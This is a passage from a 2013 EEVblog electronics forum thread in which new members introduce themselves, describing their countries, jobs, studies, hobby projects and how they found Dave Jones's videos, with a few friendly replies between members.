grats on gradu mate! mine gradu is yet coming, 2 in 2 years...so close ;) and, welcome, if my word presses anything, pretty new myself too :D...
Title: Re: New Member, Please introduce yourself
Post by: sophia2013 on June 14, 2013, 03:34:58 pm
hello everyone

I'm sophia,a math student  from  USA,Electronics is one of my hobbies.
Title: Re: New Member, Please introduce yourself
Post by: 807 on June 15, 2013, 07:56:51 pm
Hi. I've been into electronics as a hobby & job for over 40 years, hence the ancient user name & avatar!  ;)

Joined this forum after watching the excellent review of the ATTEN 858D+ on the EEVblog by Dave Jones.
Title: Re: New Member, Please introduce yourself
Post by: marabut on June 16, 2013, 12:30:48 am
Hi all,

I'm an electronics hobbyist from Poland. I've found this forum when searching for information about old piece of equipment I've been trying to fix.
Reading some threads helped me much. Maybe one day I will be able return the favor.   
Title: Re: New Member, Please introduce yourself
Post by: Gigawatt on June 17, 2013, 12:32:33 am
Hi, Crusty old spark from the UK. Like the taredowns, fundermentals, and blowing shit up
Title: Re: New Member, Please introduce yourself
Post by: calmtron on June 17, 2013, 07:09:52 am
G'day everyone,

Swedish 30-something electronics hobbyist aiming for an EE degree eventually, currently working as a software developer.
Been passionate about electronics since watching the electrician wire up my parents house at age one  :)

Has an apartment filled with waaaay to many components and gear. Loves to tear down and rebuild old equipment.
Title: Re: New Member, Please introduce yourself
Post by: gramlord on June 17, 2013, 10:42:48 pm
Hi everybody,

I'm a long time software guy from Sydney who's recently looked at whats on the other side of the bits and bytes. Black magic. That's what's there. Black magic.

So I started learning this electronics stuff. And it's hard going. It's like a circle of knowledge where you need to go around a couple of times, each time seeing something you didn't notice the other times around.

For a while there I yearned for the safety, security and warmth of a simple bunch'o'bit. Bits are easy to understand. Bits are, or they aren't. Their simplicity is infectious.

But the real world calls. Not by the raising of a simple flag but by the passing of a quiet murmur and the stampede of a heard of buffalo.

Cheers,
Title: Re: New Member, Please introduce yourself
Post by: Aeon on June 18, 2013, 04:30:45 am
Hello fellow electronic fanatics ;D

I am an Microelectronic Student from Hamburg, Germany. Currently I am doing an internship at a company thats makes digital Cameras for Industrial and surveillance use. In September I am starting my Diploma thesis.

I found the EEVblog when I was searching for a video tutorial for an electronic project I am doing at the Company. After some videos I saw that there is also a Forum.

Title: Re: New Member, Please introduce yourself
Post by: John Coloccia on June 18, 2013, 09:38:01 am
I'm from Connecticut, in the USA.  I was an engineer for 20 years but a couple of years ago I left to start my own company.  Now I build/repair guitars and guitar related items, including effects pedals.  I hope to release our first commercial pedal in the coming weeks.  I've seen Dave's blog on and off for years, but never knew it was an actual organized thing with a forum and everything else.  I though it was just some random guy on YouTube that liked to drink a lot of coffee and then get mad at all the crappy product design out there....much like myself.

Title: Re: New Member, Please introduce yourself
Post by: brob on June 22, 2013, 03:11:56 pm
Just like to say Hi to everyone. Been watching this forum for quite some time but never registered. I am a Journeyman Machinist that is a electrical hobbyist. Going to start apprenticing as an  electrical instrumentation tech or electrician.
Title: Re: New Member, Please introduce yourself
Post by: mmilejski on June 27, 2013, 05:44:55 pm
Hi,

I'm from Poland, 20yo, and I study Automatics and Robotics - just finished my second semester ;)
Being interested in amateur electronics I am watching EEVBlog for over a year now so I thought it is time to register on the forum to get some answers, and  maybe contribute too ;)
Title: Re: New Member, Please introduce yourself
Post by: yinli on June 27, 2013, 06:32:07 pm
Hello from China. I'm working for Yinli Electronics now which is a small company that produces customized transformers like high frequency high power transformer, switching mode power supply transformer, and High power pulse transformer. My English is not very good but I'm looking forward for more communication and opportunities for studing as well as business.  :)
Title: Re: New Member, Please introduce yourself
Post by: Darkslayer7 on June 29, 2013, 06:33:53 pm
Hello everyone. My name is Kristof Art. I'm a Colege student from Hungary. Currently studying linguistic at ELTE BTK in Budapest.
I do not have much experience with Electronics, but I like the Blog, and watch the videos. Gave me lots of tips over the years. :D
Title: Re: New Member, Please introduce yourself
Post by: TheKraken on July 01, 2013, 01:56:06 pm
Hey everyone, aspiring hobbyist with an interest in both electrical engineering and computer shtuff. I have a few projects I'm working on that require a lot of knowledge I do not yet have. I've found Eevblog videos on youtube to be -very- informative, and in a way i can understand. I'm from the USA and will be looking for various bit of help on...

how to get high voltage DC from...DC! ( boost converters or dc->ac->dc or really anything that gets me from 1.5v-12v in to 400v-2kv out )
Basic info on parts and how they function!
The good old trusty equations for figuring out what i need where, or what I get from what I got!
Power supplies, and meters/oscilliscopes etc. ! I really need a proper set-up to pursue my projects and any good deals I can find would help immensely!

So Hello to everyone, and when I get working projects together I'll gladly share what I can, at least a video!
Title: Re: New Member, Please introduce yourself
Post by: gierig on July 03, 2013, 04:40:14 am
Hey folk,

trained in communication electronics technician 15 years ago i forget lots of things... but it still work  ;)
I Playing around with digital, AVR, BT, C, ASM and so on an the moment.

seems a nice place here and of course it "looks it's so Beautifully".... i love the Vidos :-) They are funny and
they help to remember to so much things...:-)


Title: Re: New Member, Please introduce yourself
Post by: bluejonah on July 04, 2013, 10:16:59 am
HI! I'm Joey and I'm from Kentucky. Been a fan of the eevblog for almost a year now and I can't believe I just now registered on the forum. Shame on me! Hope to see y'all around!

 O0
Title: Re: New Member, Please introduce yourself
Post by: M@ on July 05, 2013, 12:19:35 am
Name matches my screen name. I am currently a software developer writing production automation code/test equipment API's at a base station antenna engineering company in NC. I have two associates in EET/CET and have also worked in the security field as a technician for cellular communication boards and general SMD/SMA/SMT prototyping for roughly 4 years.

Love the environment, writing code, when magic smoke stays put, and hope to be able to contribute something while also learning from many others. Big fan of Dave and Mike from mikeselectronicstuff!
Title: Re: New Member, Please introduce yourself
Post by: George on July 06, 2013, 12:29:52 am
I'm George, a student from the UK. I like alarm systems, programming, computer vision stuff oh and the Raspberry Pi  :P love taking things apart, mainly battery operated stuff though. Found my way here from the EEVBlog YouTube channel.  :-+
Title: Re: New Member, Please introduce yourself
Post by: Wh1sper on July 10, 2013, 09:05:33 pm
Hi, I'm an old man from Germany who has rediscovered the wonderful :bullshit: world of solder smoke.
Special interests are Measurements PIC, Raspberry, Nixie, Motorbike accessory and such alike.

--Bernd
Title: Re: New Member, Please introduce yourself
Post by: adlerweb on July 11, 2013, 07:56:20 pm
Add another german viewer. I'm Florian and do work in the IT-area as networking/server guy (but in the end i do also programming and other stuff that "needs to be finished by the way". Since i am lazy and was already taking apart devices as a kid (my father is an electrician) i started attaching my home devices like lights to my PC which finally got me into developing AVR-based boards as a hobby to get my personal "internet of things" working. I started watching EEVBlog years ago (guess something arround #30) but hadn't activly commented or used the forum.
Title: Re: New Member, Please introduce yourself
Post by: NerdCore on July 11, 2013, 11:36:06 pm
HI all,
I'm Nikola K. from Cleveland, Ohio, USA. Been watching the videos for a few years now. Decided to join the forum after leaving a comment on a blog post. Currently I am a student (Computer Science & Electrical Engineering) and work full time in IT. In my spare time (what little I have) I mess with my hackintosh and Arduino.
Title: Re: New Member, Please introduce yourself
Post by: cosmos on July 11, 2013, 11:52:32 pm
I am designing (mostly a wide variety of industrial) electronic systems for a living, getting involved in most issues from top level architecture, via analogue and digital designs and layout to fixing production problems with some programming and FPGA design thrown in. I have been around just long enough to have repaired (as a job) non transistorised TVs, and have tinkered with electronics since I was 12.
Title: Re: New Member, Please introduce yourself
Post by: va3nth on July 13, 2013, 12:37:17 am
Hello.  Name here is Christopher.  I have been interested and playing with electronics since I was a kid in the early '70's.  I play with micro's of all sorts for fun.  I am a ham radio operator here in Canada and just wanted to say hello and thank Dave for all of the hard work.

I also really enjoy the theory segment on Fridays.  It is amazing that after all these years I seem to have forgotten some of the fundamentals behing WHY I put things together the way I do (op amps for instance) and now am re-thinking some of my designs with inspirition and enlightenment.

Love it.

Christopher
va3nth
Title: Re: New Member, Please introduce yourself
Post by: crt on July 14, 2013, 01:49:14 am
Hallo
I'm La Ode Torega, from Surabaya, Indonesia
Nice to meet you all  :)
Title: Re: New Member, Please introduce yourself
Post by: jim_griff on July 14, 2013, 05:22:09 am
Hi everyone.

I was previously registered on the forum, but had to leave back then due to some personal reasons. I'm an Audio Engineer working in England who mixes/masters music for bands and also makes a little bit of music myself. My music isn't so good, but surprisingly some of it has been used on a random Japanese TV station a couple of weeks ago! I hope they don't laugh at the crap music haha.

I was originally interested in RF electronics, but the "RF Voodoo" started making me ill, so I have since started to work with lower frequency energy in the audio spectrum. I hope that one day (before 40) I will be building either analog or digital audio equipment that professionals can use to enhance their audio mixing/mastering. I'm a serious EENoob, but learning rather quickly. The formulas keep me awake at night while I sleep with my calculator and Kindle with datasheets on!

Thanks to Dave for creating the forum and the YouTube videos. I will continue to donate each year to help keep you up and running.

P.S. If anyone has any questions to do with Audio Engineering, Mixing, Mastering, etc, then please don't hesitate to either PM me a question or make a new post and PM the post at the same time. I'll be happy to answer any questions and provide as much information as is needed.
Title: Re: New Member, Please introduce yourself
Post by: Spunky on July 16, 2013, 09:32:39 am
Hello folks. I'm a designer and engineer of pump systems, working with purpose built pic based products, and also electrical panels and motor controls/protection. So reasonable electronic/programming abilities, good with industrial electrics, excellent with water pumps, and pump system design/troubleshooting. Currently here to develop my ability to make new products.

In a previous life I was an IT technician (and any other electronic stuff people walked in with), and in another previous life I was a QS, which is almost as dull as being an accountant.

From a quiet corner of wales where it's probably raining.
Title: Re: New Member, Please introduce yourself
Post by: Terabyte2007 on July 21, 2013, 02:54:20 am
Hello,

 I am Eric from Akron, OH. I have an EE from Akron University, Work as a Programmer for AVI-SPL and have been in the electronics field since 1988. For anyone interested, here is my Linkedin Profile. http://www.linkedin.com/profile/view?id=14844644&trk=nav_responsive_tab_profile (http://www.linkedin.com/profile/view?id=14844644&trk=nav_responsive_tab_profile)

I am glad to find this Forum to share my passion for electronics and engineering. I also do tear downs and salvage parts for my projects. I have thousands of parts, ugh!

Anyhow, I love the videos and the website and look forward to chatting with some of you in the future.
Title: Re: New Member, Please introduce yourself
Post by: resistance on July 22, 2013, 06:21:44 pm
Hello chaps!

Been a long time lurker here, so I guess time has come to surface out  :blah:

My name is Chris and I live in Athens,Greece.
I catch the electron-microbe quite young, about the age of ten, and I've been a hobbyist ever since.

I am a UNIX/RDBMS admin by profession, currently employed in a small ISP here in Greece.

I guess that's  about it, the rest will come along.

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: shailesh3t on July 22, 2013, 06:49:31 pm
Hi am shailesh from Mauritius Island,
always wanted to know how electrical/ electronics/ mechanics systems works so end up in technical side doing instrumentation and control else its nice to have the forum n Jones is a nice teacher, n nice to meet u here Guys
regards
shailesh
Title: Re: New Member, Please introduce yourself
Post by: Sigmoid on July 26, 2013, 12:55:00 am
Hey,

I'm Daniel, from NYC (originally from Hungary, Eastern Europe). I'm a software engineer, but I've always been interested in hardware, and I think I decided to finally take the plunge and do some projects.

Among other things my main interests are audio, retro computing (like newly designed c64 peripherals), and the junction of the two. :) I'm still in the early stage of re-learning hardware though, and have huge blank areas.
Title: Re: New Member, Please introduce yourself
Post by: Priestblood on July 28, 2013, 01:22:35 am
Hi everybody
My name is priestblood a.k.a. Wayne and Have viewed  the blog on YouTube for a long time and have been a guest for a while so I thought It would be time to register
Am 40 and live in Wirral merseyside,I have been interested in electronic since early teens and I am a sheet metal worker and married with two grown up daughters .i would say my electronic skills is basic
Fault finding and repairing things from washing machines to tv's ,but am always trying to learn more and big thanks to Dave for the blogg I have watched every video made by Dave on XBMC and will continue
Regards
  Priestblood

(Username I have had since the Medal of Honor spearhead days in the 90's and I've been using the same name for all my online gaming I have played everything from Warcraft to bf3 to world of tanks over the years)
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on July 28, 2013, 07:56:46 pm
Hello!

I am not that new here, but I just found this thread right now. So - time to introduce myself finally :-) Being a software scientist with emphasis on software developing and project leading I don't have any EE background. Being almost 50 years now I finally understand, what I didnt't get during my mandatory and incredibly boring EE classes back at university during my undergraduate days.

Thanks to the internet, YouTube and guys like Dave, M J Lorton, Mike from Mike's Electric Stuff, the ppl at adafruit and many more I eventually will manage to keep up with what I couldn't keep up with back in the day. Even though I am more into phptography and music in my spare time, I started setting up little circuits, doing arduino stuff (very great entry for software guys!) and finally understand how electrons do what electrons have to do.

Actually I set up an arduino based AIS station supporting www.marinetraffic.com (http://www.marinetraffic.com) with local ship tracking data (http://richrath-online.net), working on a weather station, solarifying my balcony, working on a schmitt trigger inverter oscillator based water level sensor that incorporates a capacitor made of copper tape, some pvc tubing, and an attiny45 as frequency counter and controller of a 433MHz transmitter, and setting up a solar powered balcony watering system - all to be explained in this blog (http://blogs.herrrausb.de/techblog/), once I manage to get my big but moved and write some articles...

So - anyways - thanks to Dave and this community for being extremely helpful :-)

Cheers, regards, whatsoevers

Axel
Title: Re: New Member, Please introduce yourself
Post by: FreeLectron on July 29, 2013, 09:33:49 am
 :)
Good day!

I'm Pierre from Canada, a long time fan of EEV blog and super Dave the Crazy Aussie from down under. 
Beeing myself an old EE with lot's a trick, I look forward to share some great stuff with my buddies from all over the Poincaré sphere.

Cheers,
Title: Re: New Member, Please introduce yourself
Post by: MrAureliusR on July 30, 2013, 01:12:30 pm
Hey, my name is Max, I'm a student of electrical engineering at Algonquin College in Ottawa, Ontario, Canada... or rather, I'll be starting in the next month or so.

@FreeLectron people might get your nickname confused, as there's a very frequent and well-known contributor by the name of 'free_electron' on the forums already. Just letting you know in advance!
Title: Re: New Member, Please introduce yourself
Post by: talvor on August 01, 2013, 09:59:42 am
Hi all,

I'm Phillip and I live is Sydney.  I actually worked in Baulkham Hills for a while, which I think is pretty close to where Dave's lab is....

Anyway I am a software engineer, been doing it for around 20 years.  I was into electronics at a younger age for a couple of years and then fell out of it (I really didn't understand what I was doing, just brought kits, built them and said cool..)

I am getting back into it after playing with the Arduino which peaked my interest.  Am currently looking to find a good way to learn the theory and put it into practice.  So if someone has any tips, that would be appreciated.

I look forward to being a member of this community.

Cheers -
Phillip

PS. I love TheAmpHour although alot of the stuff discussed goes way over my head, but Chris and Dave are very entertaining.  It makes the train journey to work every day bearable.
Title: Re: New Member, Please introduce yourself
Post by: ben7 on August 02, 2013, 01:37:42 am
Hello folks!

My name is Benjamin - and I am 16 years old :D

Since around nine years of age I have been interested in electrical engineering stuff. My first ever project was a portable cooling fan made from a battery, switch, and a computer fan :). Since then I have done a lot. I have a workbench of my own, an oscilloscope, and plenty of electronics parts. I am a master at soldering, and 'figuring things out'. I.E. if someone can't figure something out, I usually take a quick look and then determine what it is or what it does ... LOL

I am a member of various other great forums on the web, and I decided I would join this one also.

I have done repairs of things too, including a plasma TV (bad capacitors), an apple power adapter (IMHO, the strain reliefs are crappy), multiple desktop computers (bad capacitors), an old heathkit power amplifier/stereo which belongs to an EE friend of mine (faulty transistor, capacitors in poor condition, and oxidized connectors), a subwoofer (the plastic plug socket broke and shorted out), two chinese radios (one with a failed pushbutton, and the other with burnt out backlight bulbs), my own technics stereo from the 80's (it has its original UK style plug! :D the dialight bulbs were burnt out), a bathroom heater fan unit (got clogged with dust and the thermal fuse blew-I cleaned it out and replaced the fuse and all is good), and a number of other things... :)

I am also a member of the www.badcaps.net/forum (http://www.badcaps.net/forum) forum.

Oh, and I am from NJ, USA.

Cheers,
-Ben
Title: Re: New Member, Please introduce yourself
Post by: The_PCB_Guy on August 02, 2013, 11:17:52 am
Hi ben, did I know you were a member here?

I go by "derstrom8" on a few other forums you're on, assuming you're the same "ben7".

Sounds like you got an early start with electronics. That's great! My first "project" was when I was about 6 years old--I took apart one of my sister's toys to try to figure out why it wasn't working. I don't remember this clearly, but my parents told me the story several times  ;)

Keep up the good work!
Regards,
Matt
Title: Re: New Member, Please introduce yourself
Post by: Stonent on August 02, 2013, 11:49:26 am
Hi all,

I'm Phillip and I live is Sydney.  I actually worked in Baulkham Hills for a while, which I think is pretty close to where Dave's lab is....

Anyway I am a software engineer, been doing it for around 20 years.  I was into electronics at a younger age for a couple of years and then fell out of it (I really didn't understand what I was doing, just brought kits, built them and said cool..)

I am getting back into it after playing with the Arduino which peaked my interest.  Am currently looking to find a good way to learn the theory and put it into practice.  So if someone has any tips, that would be appreciated.

I look forward to being a member of this community.

Cheers -
Phillip

PS. I love TheAmpHour although alot of the stuff discussed goes way over my head, but Chris and Dave are very entertaining.  It makes the train journey to work every day bearable.

Dave had said something about doing monthly meetups with forum members in Sydney, you might get to meet him in person.
Title: Re: New Member, Please introduce yourself
Post by: motocoder on August 02, 2013, 04:34:28 pm
Hi all - My name is Matt. I am an EE that graduated Georgia Tech and worked as an EE for a few years before moving into software. I now work at Microsoft (Bing), but am getting back into electronics as a side project. I am also trying to teach my two sons some basic programming and electronics as a fun activity to spend more time with them.

I found this site by accident, but I really like it - especially the videos.
Title: Re: New Member, Please introduce yourself
Post by: echen1024 on August 04, 2013, 01:36:49 pm
Hi, I'm Eric, and currently a 9th grade student in High School wanting to study EE. I have watched this blog since 6th grade and supported it since. My dad originally came to the US from China 20 years ago and has a degree in EE and Nuclear Design. I am mainly interested in digital projects and test equipment.
Title: Re: New Member, Please introduce yourself
Post by: Claus H on August 06, 2013, 07:18:55 am
Hi from old Denmark, land of free, snow, rain and some sunshine :)
Old world tech is my forte, working part time as a designer of audio analog circuits, for a Danish company, part time on my own.. Love Germanium, hate 'FETs, don't do much in µcontroller.
Life is good :)

Looking forward to hanging out here... 
Title: Re: New Member, Please introduce yourself
Post by: open loop on August 06, 2013, 07:30:50 am
Hi there,

My name is David and I work for an engineering company as a tech support engineer (service) and have been lucky enough to do quite a bit of travel with the job over the past 14 years or so.

First got interested in electronics when I was 8 years old, Tinkered with it until i went to university (in my 20's!) as I had a variety of Jobs one of which was  video production/ filming in the late 80's.

Have built a Nixie clock based on an Arduino and am working on some other projects, I have an idea of building an Orac replica (Google Orac Blakes 7) but that is some time away.

Anyway looking forward to being part of this community.
Title: Re: New Member, Please introduce yourself
Post by: MBisFrenchy on August 07, 2013, 02:24:07 am
Hi, I am Julian (17) from NY, I am currently a freshman at Baruch, but am still stuck between Computer Information Systems, Computer Engineering and International Business. I am interested in hardware, I have a great time tearing down various electronics.

Since I was about 10 I had a interest in computers and how they were assembled. I eventually started by repairing a DS Lite and from that I kept moving on to newer and more complicated game consoles. I also got into cellphone repair. Eventually I was able to turn it into a little business.

When I always worked on various things from phones to game consoles to PC's I wanted to know the chips which made them up. I then stumbled upon the EEVblog and was hooked. A lot is above my head, but the tear downs are most interesting to me with his repairs.

Because of the EEVblog I just invested in a HAKKO FX888D like Dave suggested. I plan to learn how to solder. I was also looking into getting a ATTEN 858D but unfortuantely it is not available in 110V configurations. The only one is the W.E.P. rebrand which is of lower quality. The safety warning is what is keeping me away unless I find a video for how to check for the defects and how to correct them. 

I work on PS3's mostly and have a great time doing so. I have torn down every PS3 revision from CechA01 (60GB) to the newest Cech-4001, B/C (500GB Super Slim). All nintendo Gameboy Hand helds Original to Micro. If you need PS3 stuff or just want some advice on what to do, feel free to contact me I am happy to help.
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on August 14, 2013, 02:52:02 am
Hi from old Denmark, land of free, snow, rain and some sunshine :)

Det sner i danmark? Hvor præcis? Mjulbergene? :)
Title: Re: New Member, Please introduce yourself
Post by: gslug on August 15, 2013, 01:11:39 pm
Hello,

I'm Kevin, from Surrey in the UK. I mess about with electronics as a hobby, usually repairing old synthesisers or building various audio effects. I did a bit of electronics at school and then forgot everything over the following 15 years, before getting back into it after acquiring various faulty synths and having a go at repairing them.

Other hobbies/interests: Photography, electronic music (obviously), architecture, Linux and railways. The latter took over my life as I work as a train driver....
Title: Re: New Member, Please introduce yourself
Post by: rozeh on August 16, 2013, 03:21:37 pm
Hi
my first name is Rohalamin! i'm from Iran! ;)
Title: Re: New Member, Please introduce yourself
Post by: superscott319 on August 17, 2013, 01:28:47 pm
Hey I'm Scott. I'm just this average guy who works as a junior catalog editor for a department store. I'm known as the geek around the office and fix peoples computers a lot and stuff. Lately I've taken an interest in electronics design after my friend Hector introduced me to the EEVBlog videos, which I think are really cool. I hope to become better at building electronics.
Title: Re: New Member, Please introduce yourself
Post by: sync on August 21, 2013, 11:59:51 pm
Hello

My name is Utz. I am 42 years old and work as unix system administrator.  Since i was a small kid i have been interested in electronics (and computers). I done a lot of repairs, tear downs and just playing around with electronics. In the 80ies i designed, build and programmed small Z80 and 68k computers. In the 90ies i did analog music synthesiser stuff. Then i lost the interest in it. The EEVblog brought it back. Thanks Dave!
Title: Re: New Member, Please introduce yourself
Post by: Andy932 on August 24, 2013, 06:40:17 pm
Hi im andy. I live and breath electronics but have only just recently started to get way over my head into it. I live in Mackay and have tryed to learn as much as i can by myself but as i have add and learning problems and dont think i dont learn fast becuse if i can do it hands on then i fly though thing just dont give me paper work lol. I want to learn programing so badly but the help in this town is shit. If u can offer me lessons in programming that would be great.
Title: Re: New Member, Please introduce yourself
Post by: Blaffetuur on August 25, 2013, 07:44:50 pm
Hi,

I'm Robin, I'm a 19 y/o student at Thomas More in Belgium.

I make guitar fx pedals and do some arduino projects.


:>
Title: Re: New Member, Please introduce yourself
Post by: Zepnat on August 26, 2013, 08:14:31 pm
Hi I'm Andy from the peak district UK. All things electrical and mechanical interest me. Thought it was about time I signed up to this hugely knowledgeable place  :-+
Title: Re: New Member, Please introduce yourself
Post by: tehmeme on August 28, 2013, 09:01:41 pm
Hi,
My name is Tariq.

I have always been interested in both Programming and Electronics, with very fond memories of hours upon hours of programming Sinclairs & Amstrads as well as making all sorts of dangerous & lethal contraptions that went fizzle, pop & bang in conjunction with my brother.

I graduated Biomedical Bioelectronic Eng in 1997 and worked in a clinical eng setting till early 2004. Changed careers to IT till 2007 and held various jobs since (UKBA, aviation logistics planner, catering manager) and settled on secondary school science teacher 2010 (qualified 2011).

After watching a number of Dave's videos earlier this summer (and others) I was inspired to get back into electronics. I very quickly realised I had forgotten a lot. It's been a very interesting journey so far, looking forward to being an active member of the forum.

cheers
Title: Re: New Member, Please introduce yourself
Post by: ChrispNYC on August 29, 2013, 09:57:00 am
Hello everyone new to this from NYC USA I started with RC cars,trucks, helis ,quadcopters, then I got hurt on the job and was watching you tube and came across Dave taken apart a copy machine and all I had was a soldering gun and I got bitten by the bug I have no schooling I've learn on watching EEVblog and his YouTube and now I have a X-Tronic reflow soldering station a 30volt 5amp Dcs power supply 2 fluke muiti meters bread board and I make custom led light kits for anything. I don't just make the kits I also give a mini lipo battery option I also take everyone that I know that are throwing away anything with aboard I also from one of the YouTube videos I fixed my 1st LG led tv it was the caps any just wanted to say hello and if anyone has a question about anything but planes ill see if I can help I have over 20yrs in the hobby thanx ChrispNYC  :blah:   
Title: Re: New Member, Please introduce yourself
Post by: qpit3a on August 29, 2013, 11:35:52 am
Hi,

I came across the EEVblog youtube channel and have been finding it quite entertaining particularly the tear downs.  I also like the irreverent style. I have been interesting in Electronics for most of my life and mainly done digital work. I made a couple of computers using the 6809, one was a thing I called a graphics terminal (also using the 6845) and the other was a sonar range finder (I still have this).  A funny story about the graphics terminal was that a few years ago when I dismantled it (my own digital stuff was point to point soldered on veroboard) I found that the stack of ram chips (saves board space, was a few inches high) had never been properly soldered and so I found out probably a couple of decades later why I used to get intermittant memory problems...

Recently I have been able to get back into my hobby (partly to see if my youngest child would be interested) and partly because I have a bit more time / money and space.  I have so far updated my old bench top power supply to have 3 outputs and ebay digital displays.  I have also built an amplifier using boards from the Elliot Sound website http://sound.westhost.com/ (http://sound.westhost.com/) and an old receiver I got from the local tip shop, this is not quite finished.

I think that future projects might be test equipment - I have the idea to revamp my power supply with some microprocessor control.


I am a computer science graduate and currently work in automated software testing here in Canberra, ACT. My blog is at http://petercupit.com/blog (http://petercupit.com/blog)

Peter Cupit


Title: Re: New Member, Please introduce yourself
Post by: NANDBlog on August 29, 2013, 11:07:03 pm
Hi, I'm Thomas (or equivalent  8) ) from Europe, currently living in Belgium. I'm a design engineer at a instrumentation manufacturer, making industrial/lab grade crap. Dave is an inspiration, I must say. I have an electronics related blog: www.NANDBlog.com (http://www.NANDBlog.com)
Title: Re: New Member, Please introduce yourself
Post by: Blaffetuur on August 30, 2013, 06:31:42 am
Hi, I'm Thomas (or equivalent  8) ) from Europe, currently living in Belgium. I'm a design engineer at a instrumentation manufacturer, making industrial/lab grade crap. Dave is an inspiration, I must say. I have an electronics related blog: www.NANDBlog.com (http://www.NANDBlog.com)

Nice to see a fellow Belgian  ;D
Title: Re: New Member, Please introduce yourself
Post by: Lechuzon on August 30, 2013, 03:49:51 pm
Hi! Glad to join this forum! Hope we'll have a great time and great projects!
Title: Re: New Member, Please introduce yourself
Post by: Alexandre on August 31, 2013, 02:23:17 am
Hi everyone!
I'm Alex, I'm a 27 yr old electronics design engineer.
So far, I've designed mainly embedded systems for automotive industry.
I'm french but I'm living in Bruxelles and also glad to join you guys!
Title: Re: New Member, Please introduce yourself
Post by: jmcdonald on August 31, 2013, 09:45:41 pm
Hi my name is Jonathan I am from Weston, N.S.W. Australia not far from Dave. I'm an Electronics Tech working on new tech for the mining industry while competing my second apprenticeship in Electrical. I am in the process for setting up my own electronics lab at home, its been a slow process (started setting it up 3 years ago). 
I'm married and have 3 girls aged 6, 4 and 1 and they love watching baby Sagen on YouTube.
Title: Re: New Member, Please introduce yourself
Post by: Kjelt on September 01, 2013, 12:49:28 am
Hi everyone,
I am from the Netherlands, 46 yrs, live together with GF and kid (9 yrs), studied EE in the far past and am working as an embedded software programmer and try to keep up with all the new technologies. Main hobby topics are digital electronics and microcontroller related. Since I myself always like to see the shack of fellow hobbyists, I will share mine with some stuff I collected over the last 25 yrs.
Title: Re: New Member, Please introduce yourself
Post by: Fezder on September 01, 2013, 06:26:58 pm
Hey kjelt, that workshop look cool, well at least to my eye. my workshop has simple problem: too small table or then i just don't organize it right :D.
Title: Re: New Member, Please introduce yourself
Post by: Kjelt on September 02, 2013, 12:52:55 am
Hey kjelt, that workshop look cool, well at least to my eye. my workshop has simple problem: too small table or then i just don't organize it right :D.
Thanks, my experience is that no matter how big the table, it always gets (too) full with stuff/projects.
Title: Re: New Member, Please introduce yourself
Post by: Fezder on September 02, 2013, 01:03:29 am
Hey kjelt, that workshop look cool, well at least to my eye. my workshop has simple problem: too small table or then i just don't organize it right :D.
Thanks, my experience is that no matter how big the table, it always gets (too) full with stuff/projects.

hey, thats right! same applies to storage, at least like me: dont' throw anything away....not guite literally, but still, i'm guite hamster/scavenger :D.
Title: Re: New Member, Please introduce yourself
Post by: oakkar7 on September 02, 2013, 08:13:11 pm
Hi,

After struggling country wide spam issue, I successfully joined to this forum. :D

My name is oakkar7, an engineer who crazy in IT, electronics, microcontroller, linux and open source things,
working as IT professional,
Living in Myanmar (yes a green land, opened its door recently), Asia.

Hello world from Myanmar.

My tinny blog : http://okelectronic.wordpress.com/ (http://okelectronic.wordpress.com/)
Title: Re: New Member, Please introduce yourself
Post by: stiffman on September 07, 2013, 11:05:54 am
Hi everyone,
My name is Matt.
I'm not an engineer or anything, just a low level hobbyist from Canberra Australia.
I've been following Dave's videos for quite a while now, and been lurking on the forums for a little while. I figured I'd join and see if I can participate in any way.

I've been dabbling in electronics since I was a kid, but never really learnt it super in-depth.
I enjoy salvaging bits and pieces from old electronics, which i guess came from when I was a kid. Now I'm all grown up though, I can afford to buy new stuff when i need. lol

Cheers,
Matt
Title: Re: New Member, Please introduce yourself
Post by: EngineeringTech2013 on September 07, 2013, 11:19:09 pm
Hello All,

My name's Mark and work for BAE Systems in Stanmore as a senior electronics Test Technician working on various MOD projects at present including the Apache. Qualified to HNC and a bit of a self confessed  Electronics and computer geek !!
Title: Re: New Member, Please introduce yourself
Post by: Spock on September 08, 2013, 06:52:06 am
Hi everyone,

I'm watching Dave videos and reading forum from quite long time (more than a year) but util now I was "passive" :)
I have a feeling that I will need some valuable information and share them myself so it's time to introduce myself.

Electronic as my hobby started when I was ~15 years old and it is following me since then.
I'm technical character - finished car engineering school, studied Physics, working as a CATV/DOCSIS specialist and electronics and HAM radio is my hobby :)

Location - Poland.

Regards,
Title: Re: New Member, Please introduce yourself
Post by: SAI_Peregrinus on September 08, 2013, 10:37:23 am
Hello, I'm SAI, a student at the University of Hartford studying Computer Engineering. My focus is on security.

Electronics is both a hobby and a component of my studies. Other hobbies are tying knots (largely "fancy" work eg marlinspike seamanship), making whips, playing music (tin whistle, low whistle, bodhran, great highland bagpipes), watching/keeping birds, and Liechtenauer fencing. Some of these are more applicable to electronics than others, eg I've made an electronic bagpipe chanter/whistle/other instrument with up to 8 holes, but haven't tried decorative knotwork in transformer windings...

I've been watching the eevblog for quite a while now, and figured I should actually make an account on the forums.
Title: Re: New Member, Please introduce yourself
Post by: xrunner on September 08, 2013, 10:52:04 am
Electronics is both a hobby and a component of my studies. ... and Liechtenauer fencing. Some of these are more applicable to electronics than others, ...

Well if there is any way to combine Liechtenauer fencing with electronincs, somebody here will figure it out.  :-//
Title: Re: New Member, Please introduce yourself
Post by: Skaface on September 13, 2013, 01:21:03 pm
Hey, I have just joined this forum, im a bench tech at moorabbin airport, vic and I repair aircraft radios and electronics. Its an interesting field as im fault finding radios that are mostly from the late 70's and 80's, so its all dirty old school circuits which can actually be repaired, rather than todays method of swapping complete boards.
One of the biggest problems is hunting down old transistors and IC's which are no longer in production
Title: Re: New Member, Please introduce yourself
Post by: surfinbird72 on September 13, 2013, 04:29:00 pm
Hi all, my name is Bart and I am from Belgium. I have a master degree in electronics but specialized as embedded C++ programmer in professional life. However, I'm still 'playing' with electronics as a hobby.
Title: Re: New Member, Please introduce yourself
Post by: WhiteWolf on September 13, 2013, 08:44:37 pm
Hi,

My name is Daniel and living in Sweden. Can speak 4 languages: swedish, finnish, english and some german. Finished my study to EE on University of Gefle, right now I'm just waiting to get my exam on paper and searching for a new job. Been looking on Dave's videos for some time now and reading this forum also, but this week I decided to become a member. I thought that I didn't need to be on another forum, when I'm already in so many and I'm good off with the swedish electronics forum but I became a member anyway here :)

